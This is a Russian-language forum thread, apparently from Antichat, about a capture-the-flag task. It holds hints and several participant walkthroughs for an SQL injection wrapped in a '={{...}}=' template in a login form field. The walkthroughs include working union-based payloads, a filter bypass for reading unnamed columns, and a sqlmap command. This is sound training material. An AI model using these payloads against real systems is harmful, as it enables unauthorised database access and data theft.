PDA

Просмотр полной версии : Task #10


dooble
19.03.2020, 13:46
Пока остаемся в рамках простых заданий, можно ковырять всем.

Задание искусственно можно разбить на два этапа:

- найти дыру

- проэксплуатировать

Вторая часть - чисто технология, изобретать не надо, все известно, ну может не часто использовалась.

В первой части заметная эвристическая составляющая, на любителя.

Брутить и сканить ничего не нужно (просто бесполезно), внимательность и аккуратность вырулят.

Задание:

Таргет: http://task10.antichat.com/

Найти и прочитать флаг.

Ответы присылайте в ПМ форума, интересует не флаг, а прохождение.

Срок:

две недели.

Правила остаются прежними:

В теме не флудим, подсказки разрешены только от ТС.

Прошли:

undefo (https://antichat.live/members/343739/)1,2

Shubka75 (https://antichat.live/members/272853/) 1,2

neur0funk (https://antichat.live/members/320801/)1,2

Раrаdох (https://antichat.live/members/258540/) 1,2

nix_security (https://antichat.live/members/332889/) 1,2

gurux13 (https://antichat.live/members/332358/)1,2

MichelleBoxing (https://antichat.live/members/328947/) 1,2

fandor9 (https://antichat.live/members/329111/)1,2




Прохождения

/threads/476269/#post-4375982 (https://antichat.live/threads/476269/)

dooble
20.03.2020, 08:08
В форму уже повтыкали и поняли, в учетке баги нет.

Но там еще какие то поля присутствуют и есть непонятки.

dooble
20.03.2020, 13:13
Наверное можно сразу подсказать, что за багу ищем, но попробую сделать чуть менее явно.

Это самая изученная тема на Античате.

Да-да, банальная ...

Т.е. - умеют все.

dooble
20.03.2020, 20:49
Попросили пока не делать подсказок, подожду до завтра.

Мне все же представляется, что не нужно перебирать все варианты, слишком много времени уйдет, а искать конкретную багу.

Тем более, что лежит она неочевидно.

И это почти уравнивает шансы профи и новичков.

dooble
21.03.2020, 11:06
Собственно подсказка уже дана и если скажу открытым текстом, разница будет небольшая.

Имеем SQLi.

И даже не слепую, а с выводом.

Но кавычкой она не ловится.

Да и вывод больше похож на замочную скважину, видно не все и не всегда.

И "крутить" нужно осторожно, прямо кончиками пальцев.

Дверь и откроется.

dooble
21.03.2020, 22:13
Однажды (на даже очень крупном сайте) встретилась необычная SQLi, которую не сразу и узнал то.

Не подавала признаков жизни, пока не начал определять точные границы фильтра в поле.

Вот тогда сформировалась конструкция, внутри которой начали срабатывать логические выражения и SQLi.

Некоторый шаблон служил запуском SQLi.

И он же сломал мой шаблон о том, как должна выглядеть SQLi.

Поле "template" в задании должно было запустить ассоциации с чем то типа SSTI.

dooble
22.03.2020, 10:59
Подсказок пока не будет, порог новизны пройден, остальное дело техники.

Если утомились искать точку входа, можно пропустить этот этап, стучите в личку, выдам шаблон.

Возможно дней через несколько выложу его для всех, поскольку задание предполагалось для массового прохождения, основное в задании - во второй части.

А первая часть добавляет "вкус", элемент неожиданности. На любителя.

undefo
22.03.2020, 21:30
Спасибо за таск, познавательно!

dooble
23.03.2020, 13:03
Наверное нет смысла дольше ковырять первую часть.

Есть некоторый предел, после которого вместо радости открытия получишь утомление и раздражение.

Поэтому пропускаем и ищем дальше

.SpoilerTarget" type="button">Spoiler: Template
Иньекция в поле template, но не в привычном нам виде, а внутри некоторой конструкции, похожей на то, что мы встречаем при SSTI


={{SQLi}}=

Здесь вместо "SQLi" вставляем нужный payload.

Вторая часть должна пойти полегче, undefoприслал ответ почти со скоростью набора символов на клавиатуре.

dooble
23.03.2020, 14:16
Видимо многим в новинку, не поняли подсказку, в личку каждому отвечать не буду попробую здесь пояснить еще раз.

.SpoilerTarget" type="button">Spoiler: Пояснения
Иньекция срабатывает не просто в поле, как мы привыкли, а внутри некоторого шаблона, т.е. так


_csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template=={{тут вставляем payload}}=&email=&password=&commit=Log In

dooble
24.03.2020, 15:46
Наверное последнее, что напишу по поводу задания

вторая часть - изи, или даже изи-изи.

Union-based SQLi с выводом, даже не слепая.

Ради нее и задание запускать не очень нужно, тем более на форуме, где исторически сложилась сильная школа исследователей по этому направлению.

Но раз уже сделано, точка входа выложена на блюдечке, можно и воткнуть.

Я предполагал, что решит всякий, кто возьмется.

Даже с начальным опытом.

neur0funk
26.03.2020, 16:25
Спс, хороший таск, на практике такое ни разу не использовал.

P.S. после закрытия таска, можно исходники посмотреть?

dooble
26.03.2020, 16:47
↑ (https://antichat.live/posts/4373726/)
P.S. после закрытия таска, можно исходники посмотреть?


Задание не на поиск багов в движках, в коде.

Почему и как написан код - никакого значения не имеет.

Имеем нечто по-факту.

С ним можно взаимодействовать некоторым образом.

Нужно догадаться - как именно.

Черный ящик.

Раrаdох
27.03.2020, 13:07
Раз уж заглянул на античат, то заодно решил и размять руки. Спасибо за задание, было интересно и совсем не долго, — ничего сложного.

nix_security
29.03.2020, 18:17
Спасибо, получил удовольствие от задания

Unknown
30.03.2020, 13:31
Довольно интересная задача. Первую часть оценить не могу, потому что посмотрел подсказки. Ну как, подсказки. Решение

А вот вторая часть неплохая, хотя для меня с элементом "угадывания".

Спасибо за задачу!

MichelleBoxing
01.04.2020, 13:29
познавательно, было интересно.

Спасибо автору

fandor9
02.04.2020, 19:41
Спасибо, попыхтел и решил. узнал кое-что для себя новое.

dooble
02.04.2020, 21:13
Прохождение:

Ищем точку входа.

Ничего интересного, кроме параметров, в форме нет.

Втыкаем в них.

В ответах есть реакция только на поле "template", видна работа фильтра, на "запрещенные" символы получаем пустую ссылку на файл стилей и верстка рушится.

Если проверить на допустимые символы, то получим такой набор:

[a-zA-Z0-9\-_\.\/\'\{\}= \(\),\*]

Немного странный набор, но он косвенно свидетельствует о том, что поле обрабатывается и через него можно отослать, сразу и не понятно чего.

Странным его делают символы (){}*=

попробем построить из них чего-нибудь.

В аналогичной ситуациии заметил, что часто получаются симметричные конструкции и начал добавлять в них выражения - арифметические и логические.

В какой то момет получил реакцию.

В данном случае внутри шаблона ={{}}=


={{purple}}= href="./css/purple.css"
={{purple'and'1}}= href="./css/purple.css"
={{purple'and'0}}= href=""
={{'or'1}}= href="./css/purple.css"
={{'union select version()'}}= href="10.1.44-MariaDB-0+deb9u1"

дальше можно открыть любую методичку по SQLi и продолжить:


'union select group_concat(0x7c,table_schema)from(select distinct table_schema from information_schema.tables)t-- -

href="|information_schema,|task10"


'union select group_concat(0x7c,table_name)from(select distinct table_name from information_schema.tables where table_schema=0x7461736B3130)t-- -

href="|flag1286n2482,|template"

Видим сбивающее с толку название flag1286n2482, чтоли это и есть флаг?

Но по факту это только указатель, нужно прочитать данные таблички.

И тут наш вектор сломался и отказывается работать, если мы пытаемся воткнуть ему подстроку "column".

С одной стороны обидно, пару запросов осталось сделать.

С другой стороны - нас это не остановит.

Было время, когда information_schema вообще не существовало, а информацию вытаскивали.

И тут есть два варианта - быстренько повтыкать по такому случаю, или не тратить время и убедиться, что это уже давно найдено за нас

https://rdot.org/forum/showpost.php?p=18012&postcount=10

Находим количество полей в таблице - 3.


purple' and exists(select*from(select*from flag1286n2482 order by 3)k)and'1
purple' and exists(select*from(select*from flag1286n2482 order by 4)k)and'1

и вынимаем данные


'union select k.2 from(select 1,2,3 union select * from flag1286n2482)k limit 1,1-- -

href="*A9842A926CB0D29CBCC7F5A4719E9E65AD5278AC"





.SpoilerTarget" type="button">Spoiler: Немного лирики
Вообще, задания типа этой первой части я не люблю и скорее всего не стал бы его решать.

Тогда почему включил в таск?

В задании допустимо следовать настроению и проигнорить поиск, но в реале мотивация может быть посильнее, чем настроение.

И когда в такой ситуации бага расковырялась, я понял несколько вещей:

- SQLi и сейчас может быть интересной, хотя в свое время их навтыкались до отвращения.

- сколько и чего я пропустил на реальных сайтах, просто потому, что опыт загоняет тебя в шаблоны восприятия - что и как должно выглядеть.

- приятно открыть дверь там, где ее даже и не видно, даже и при полном свете.


Прохождения участников:

.SpoilerTarget" type="button">Spoiler


↑ (https://antichat.live)

={{purple' UNION SELECT GROUP_CONCAT(s.2 SEPARATOR ',') FROM (SELECT 1,2,3 UNION SELECT * FROM flag1286n2482)s LIMIT 1,1 -- -}}=





↑ (https://antichat.live)

_csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template=={{purple' and false union select table_name from information_schema.tables where table_schema=database()-- rr}}=&email=wefwef%40abc.abc&password=sefesfsef&commit=Log+In
_csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template=={{purple' and false union select concat_ws(0x3a,c1,c2,c3) from (select 1 c1,2 c2, 3 c3 union select * from flag1286n2482 limit 1,1)k -- }}=&email=wefwef%40abc.abc&password=sefesfsef&commit=Log+In&param=1111





↑ (https://antichat.live)

_csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template=={{0' union select table_name from information_schema.tables limit 78,1-- }}=&email=&password=&commit=Log In
={{0' union select GROUP_CONCAT(concat_ws(0x3a,v1,v2,v3)) from(select 1 v1,2 v2,3 v3 union select * from flag1286n2482)z -- }}=





↑ (https://antichat.live)
Само собой, делал я так:
1. Узнать имена столбцов через
information_schema.columns
оказалось не так то просто, учитывая, что если в запросе встречается слово "
columns
" (не учитывая регистра), то результатом запроса становится запрос по умолчанию. Тогда я решил применить технику объединения результата запроса из таблицы с левым
SELECT 1,..,N
(где N — число столбцов в искомой таблице, иначе, при разном кол-ве столбцов, оператор
UNION
не прокатит). "Техникой" это становится в тот момент, когда ты осознаешь, что имена столбцов в таком случае принимают значения левого аргумента оператора, и, соответственно, можно запросто их вывести, ничего не зная о настоящих именах столбцов нужной нам таблицы.
Тогда запрос принимает следующий вид:

template=={{-1' union select concat_ws(',', t.1, t.2, t.3) from (select 1,2,3 union select * from flag1286n2482) t limit 1,1 -- }}=

2. Если не понятно, отмечу, что значения мы выводим через
t.N
(где N - порядковый номер нужного столбца в таблице) и конкатенируем их в единую строку с помощью встроенной функции
concat_ws
. С помощью
LIMIT
мы получаем нужную нам строку (вторую, в данном случае).
3. Возможно, также, остается вопрос "а как мы узнали кол-во столбцов"? Тут всё просто: как только вышеупомянутый UNION сработал, значит, кол-во столбцов подобрано правильно. При бинарном поиске такая задача сходится весьма быстро, также, как и классический подход с
ORDER BY
.
Если остались какие-то вопросы, буду рад прокомментировать.




↑ (https://antichat.live)
Добрый день!
Спасибо за задачу, моё решение
Task #10
таково:
1. Осматриваем страницу, понимаем, что никуда внутрь провалиться нельзя, значит имеем дело только с формой. Быстренько ковыряем её: подставив двойную кавычку в параметр
template
замечаем, что один из тегов
link
на странице поменял значения атрибута
href
, а именно — он стал пустым. Предполагаем, что копать нужно в этом направлении, а учитывая, что это какой-то шаблон, пробуем техники в направлении эксплуатации уязвимостей в серверных шаблонизаторах. Все остальные параметры из POST запроса выкидываем — они ни к чему.
2. Пробуем покрутить обыкновенную скулю для строкового значения, подбирая кол-во столбцов в возвращаемом ответе от СУБД методом сортировки по столбцу, указав его порядковый номер (
ORDER BY N
):

={{purple' order by 1-- }}=

3. Вроде, работает. Пробуем сортировать по столбцам с более высоким порядковым номером — запрос падает. Делаем предположение, что возвращается всего один столбец.
4. Соединяем текущий запрос с полезной нагрузкой с помощью
UNION
:

={{' union select version() -- }}=

Получили ответ
10.1.44-MariaDB-0+deb9u1
. Вуаля, дальше дело техники.
5. Мы люди белые, год не 2001й, так что дальше крутить руками не будем. Кто варится в этом недавно, может покрутить и вручную, если интересно. А мы воспользуемся утилитой
sqlmap
. Предварительно поможем ей с помощью указания конкретного параметра, а также суффикса и постфикса полезной нагрузки, ибо нужно завраппить полезную нагрузку в синтаксическую конструкцию серверного шаблонизатора
={{payload}}=
. Варианты помощи могут быть разные, например, что-то вроде:

sqlmap -u http://task.antichat.com:10010/ --data="template=" -p template --prefix="={{' union " --suffix=" -- }}="

6. Утилита отработала: выдала несколько обнаруженных баз данных. Среди них
task10
— предполагаем, что это то, что надо. Сканируем таблицы искомой бд и обнаруживаем таблицу, название которой является флагом со значением "
flag1286n2482
". На всякий случай смотрим внутрь таблицы, но ничего интересного там не наблюдаем.
7. Задача решена.




↑ (https://antichat.live)
1. Узнать имена столбцов через
information_schema.columns
оказалось не так то просто, учитывая, что если в запросе встречается слово "
columns
" (не учитывая регистра), то результатом запроса становится запрос по умолчанию. Тогда я решил применить технику объединения результата запроса из таблицы с левым
SELECT 1,..,N
(где N — число столбцов в искомой таблице, иначе, при разном кол-ве столбцов, оператор
UNION
не прокатит). "Техникой" это становится в тот момент, когда ты осознаешь, что имена столбцов в таком случае принимают значения левого аргумента оператора, и, соответственно, можно запросто их вывести, ничего не зная о настоящих именах столбцов нужной нам таблицы.
Тогда запрос принимает следующий вид:

template=={{-1' union select concat_ws(',', t.1, t.2, t.3) from (select 1,2,3 union select * from flag1286n2482) t limit 1,1 -- }}=

2. Если не понятно, отмечу, что значения мы выводим через
t.N
(где N - порядковый номер нужного столбца в таблице) и конкатенируем их в единую строку с помощью встроенной функции
concat_ws
. С помощью
LIMIT
мы получаем нужную нам строку (вторую, в данном случае).
3. Возможно, также, остается вопрос "а как мы узнали кол-во столбцов"? Тут всё просто: как только вышеупомянутый UNION сработал, значит, кол-во столбцов подобрано правильно. При бинарном поиске такая задача сходится весьма быстро, также, как и классический подход с
ORDER BY
.
Если остались какие-то вопросы, буду рад прокомментировать.




↑ (https://antichat.live)

_csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template={{'+template=={{'+union+SELECT+table_name +FROM+information_schema.tables+where+table_schema ='task10'+limit+1+--+}}=&email=dd%40dd.com&password=paswo&commit=Log+In
_csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template=={{'+union+select+concat_ws(0x3a,a,b)+fro m+(select+'a','b','c'+union+select+*+from+flag1286 n2482)a+limit+1,1+--+}}=&email=dd%40dd.com&password=paswo&commit=Log+In





↑ (https://antichat.live)
- Воспользовался подсказкой про ={{sqli}}= в template
- Начал передавать всякую фигню в sqli
- Внезапно, ' union select 1 -- вывел 1 в , если же результат запроса 0, то получаем . Так с помощью LENGTH, SUBSTR, ASCII
Дальше составляем запросы на вывод таблиц (SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 78) и находим таблицу "flag1286n2482".
Данные из этой таблицы читаем с помощью запросы ""(SELECT test FROM ((SELECT 1,'test',3 UNION SELECT * FROM task10.flag1286n2482)test) LIMIT 1 OFFSET 1)" и получаем *A9842A926CB0D29CBCC7F5A4719E9E65AD5278AC



Всем спасибо!

Все меньше времени остается на задачки, но мы их не бросаем

==

PS

В изначальном варианте information_schema была полностью запрещена и нужно было найти еще и небрутабельное имя таблицы.

Но посчитал, что это излишне затянет задание, без особой на то необходимости.

И выпилил перед запуском.

crlf
02.04.2020, 21:42
Пацаны ваще ребята, респект всем решившим!